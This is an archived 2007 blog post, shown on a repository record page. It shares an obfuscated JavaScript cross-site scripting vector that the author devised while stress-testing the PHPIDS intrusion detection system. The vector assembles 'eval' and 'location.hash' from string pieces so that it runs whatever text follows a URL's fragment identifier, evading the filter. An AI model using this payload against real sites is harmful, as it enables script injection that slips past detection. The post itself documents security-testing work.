Obfuscated fun
Just thought I'd share the following script vector with you all that I came up with while stressing PHPIDS today:
l= 0 || 'str',m= 0 || 'sub',x= 0 || 'al',y= 0 || 'ev',g= 0 || 'tion.h',f= 0 || 'ash',k= 0 ||
'loca',d= (k) + (g) + (f),a=0 || (y) + (x),b=1[a](d),c=0 || (m) + (l),1[a](b[c](1));Put that inside a script block and believe it or not it will eval the text after the fragment identifier.
Obfuscated fun was originally published by Martin Paul Eve at eve.gd: Martin Paul Eve on July 05, 2007.
Files
10.59348_9q33n-5pk20.pdf
Files
(111.4 kB)
| Name | Size | Download all |
|---|---|---|
|
md5:082d3af1e3e34ed4e8d40973ace675b2
|
111.4 kB | Preview Download |
Additional details
Description
Just thought I'd share the following script vector with you all that I came up with while stressing PHPIDS today: Put that inside a script block and believe it or not it will eval the text after the fragment identifier. Obfuscated fun was originally published by Martin Paul Eve at eve.gd: Martin Paul Eve on July 05, 2007.
Identifiers
- GUID
- https://doi.org/10.59348/9q33n-5pk20
- URL
- https://eve.gd/2007/07/05/obfuscated-fun/
Dates
- Issued
-
2007-07-05T00:00:00Z
- Updated
-
2007-07-05T18:27:53Z